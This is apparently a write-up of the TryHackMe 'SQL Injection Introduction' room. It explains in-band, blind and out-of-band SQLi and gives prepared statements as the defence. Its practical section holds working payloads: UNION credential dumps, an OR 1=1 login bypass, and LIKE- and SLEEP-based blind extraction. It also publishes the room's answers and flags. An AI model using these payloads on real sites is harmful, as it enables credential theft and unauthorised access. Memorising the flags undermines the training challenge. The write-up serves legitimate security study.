TryHackMe: SQL Injection Introduction

Understanding SQLi from Basics to Exploitation

Room: https://tryhackme.com/room/sqlinjectionintroduction

Introduction

SQL Injection (SQLi) is one of the most well-known web application vulnerabilities. It occurs when user input is improperly handled and becomes part of a database query. Attackers can manipulate these queries to access unauthorized data, bypass authentication mechanisms, and sometimes even gain complete control over backend databases.

Task 2: SQL Essentials for Injection

Before understanding SQL Injection, it’s important to understand basic SQL concepts.

SQL (Structured Query Language) is used to communicate with databases. Websites commonly use SQL queries to retrieve, insert, update, and delete information.

Attackers exploit SQL Injection by manipulating these queries through user input fields.

Question 1

What SQL statement combines results from two SELECT queries into one result set?

Answer:

UNION

Explanation

The UNION operator combines the results of multiple SELECT statements into a single result set.

Example:

SELECT username FROM users
UNION
SELECT username FROM administrators;

This would return usernames from both tables.

UNION is frequently used during SQL Injection attacks because it allows attackers to append their own queries and retrieve additional information from the database.

Question 2

What built-in database contains metadata about all other databases, tables, and columns in MySQL?

Answer:

information_schema

Explanation

information_schema is a special MySQL database containing information about:

• Databases
• Tables
• Columns
• Views
• User privileges

Attackers often target information_schema during SQL Injection because it helps them discover the structure of the database before extracting data.

Task 3: What is SQL Injection?

SQL Injection occurs when user input is inserted directly into SQL queries without proper validation or parameterization.

Instead of being treated as data, the input becomes part of the SQL command itself.

Question 3

What character is commonly used as a first test when probing for SQL Injection?

Answer:

'

Explanation

The single quote (') is commonly used to test whether user input affects SQL syntax.

For example:

SELECT * FROM users WHERE username='admin'

Adding an extra quote may break the query and generate an error, indicating that the application may be vulnerable.

Question 4

What type of SQL Injection returns results directly in the web page?

Answer:

In-Band

Explanation

In-Band SQL Injection occurs when the attacker can see database results directly in the application’s response.

This is the easiest form of SQL Injection because:

• Results appear immediately.
• Enumeration is faster.
• No side channels are required.

Most UNION-based and Error-based attacks fall into this category.

Task 4: In-Band SQL Injection

In-Band SQL Injection uses the same communication channel for both injecting malicious queries and receiving the results.

The two most common subtypes are:

• Error-Based SQLi
• UNION-Based SQLi

Question 5

What subtype of In-Band SQLi relies on database error messages to extract information?

Answer:

Error-Based

Explanation

Error-Based SQL Injection intentionally causes database errors.

These errors may reveal:

• Table names
• Column names
• Database versions
• Query structures

Verbose error messages often provide valuable information for attackers.

Question 6

What SQL function returns the name of the current database in MySQL?

Answer:

database()

Explanation

The database() function returns the currently selected database.

Example:

SELECT database();

Attackers frequently use this function during enumeration to identify their current target database.

Task 5: Blind SQL Injection — Authentication Bypass

Concept Overview

Blind SQL Injection occurs when database results are not directly visible.

Instead of seeing output, attackers infer information from application behavior.

One of the most common examples is authentication bypass.

Question 7

What boolean condition is commonly injected to make a WHERE clause always evaluate to true?

Answer:

1=1

Explanation

Because 1=1 is always true, it can alter the logic of authentication queries.

Example:

SELECT * FROM users
WHERE username='' OR 1=1;

Since 1=1 always evaluates to true, the query may return all users and bypass authentication checks.

Task 6: Blind SQL Injection — Boolean and Time-Based

When results cannot be displayed directly, attackers use indirect methods:

Boolean-Based SQLi

Observe changes in application behavior.

Time-Based SQLi

Observe delays in server responses.

Question 8

What MySQL function causes a deliberate time delay in a query’s response?

Answer:

SLEEP

Explanation

The SLEEP() function pauses query execution.

Example:

SELECT SLEEP(5);

The server waits five seconds before responding.

Get Sudoroot’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Attackers use this delay to determine whether a condition is true or false.

Task 7: Out-of-Band SQL Injection

Sometimes applications do not display results and do not behave differently based on query outcomes.

In those cases, attackers may use external communication channels.

This is known as Out-of-Band SQL Injection.

Question 9

What protocol beginning with D is commonly used to exfiltrate data in Out-of-Band SQLi?

Answer:

DNS

Explanation

DNS requests can be used to send database information to attacker-controlled servers.

Because DNS traffic is often allowed through firewalls, it can become an effective exfiltration channel.

Question 10

What MSSQL stored procedure can be used to trigger DNS lookups for data exfiltration?

Answer:

xp_dirtree

Explanation

xp_dirtree can cause a SQL Server to access remote network resources.

Attackers may abuse this functionality to trigger DNS lookups and leak data externally.

Task 8: Remediation and Prevention

The best defense against SQL Injection is preventing user input from altering SQL query structure.

Question 11

What is the primary and most effective defence against SQL Injection?

Answer:

Prepared Statements

Explanation

Prepared Statements separate SQL logic from user input.

Instead of constructing queries dynamically:

SELECT * FROM users WHERE username='$input'

The application uses parameters:

SELECT * FROM users WHERE username=?

The database treats the input strictly as data, preventing SQL Injection.

Prepared Statements are considered the industry-standard defense.

Task 9: Practical SQL Injection

This task demonstrates SQL Injection in practice through four progressively difficult levels.

The exercises cover:

• UNION-based extraction
• Authentication bypass
• Boolean-based blind SQLi
• Time-based blind SQLi

Level 1 — UNION-Based SQL Injection

Goal

Extract user credentials from the database.

Payload:

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

The page displays all usernames and passwords.

https://website.thm/article?id=0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

Martin’s password is:

pa$$word

Answer:

THM{SQL_INJECTION_3840}

Explanation

The UNION operator allows the attacker to append a second query and retrieve data from the staff_users table.

Level 2 — Authentication Bypass

Goal

Bypass login authentication.

Username field:

' OR 1=1;--

Password field:

anything

Resulting query:

select * from users where username='' OR 1=1;--'

Answer:

THM{SQL_INJECTION_9581}

The injected condition makes the WHERE clause always true, allowing login without valid credentials.

Level 3 — Boolean-Based Blind SQL Injection

Goal

Extract administrator credentials.

Endpoint:

https://website.thm/checkuser?username=admin

Username extraction:

admin123' UNION SELECT 1,2,3 from users where username like 'a%';--

After testing successive characters:

admin

Password extraction:

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like '3%';--

Password (⚠️Note that this password is provided in the challenge you will not obtain it while running this injection ):

3845

Answer:

THM{SQL_INJECTION_1093}

Since results are not displayed directly, the attacker infers information based on whether conditions return true or false.

Level 4 — Time-Based Blind SQL Injection

Goal

Extract data using response delays.

Table enumeration:

admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema='sqli_four' and table_name like 'u%';--

A delay indicates the condition is true.

Password extraction:

admin123' UNION SELECT SLEEP(3),2 from users where username='admin' and password like '4%';--

Password (⚠️Note that this password is provided in the challenge you will not obtain it while running this injection ):

4961

Answer:

THM{SQL_INJECTION_MASTER}

Explanation

Instead of relying on visible responses, the attacker measures server response times to determine whether a condition is true.

This technique is slower but works even when applications hide all database output.

Conclusion

This room provides an excellent introduction to SQL Injection by covering both the theory and practical exploitation techniques.

Key takeaways include:

• Understanding how SQL queries work.
• Learning how attackers manipulate database logic.
• Exploring In-Band, Blind, and Out-of-Band SQL Injection.
• Understanding the importance of database enumeration.
• Recognizing why Prepared Statements are the most effective defense.

The progression from simple UNION attacks to advanced Time-Based SQL Injection demonstrates how attackers can extract sensitive information even when applications attempt to hide database responses.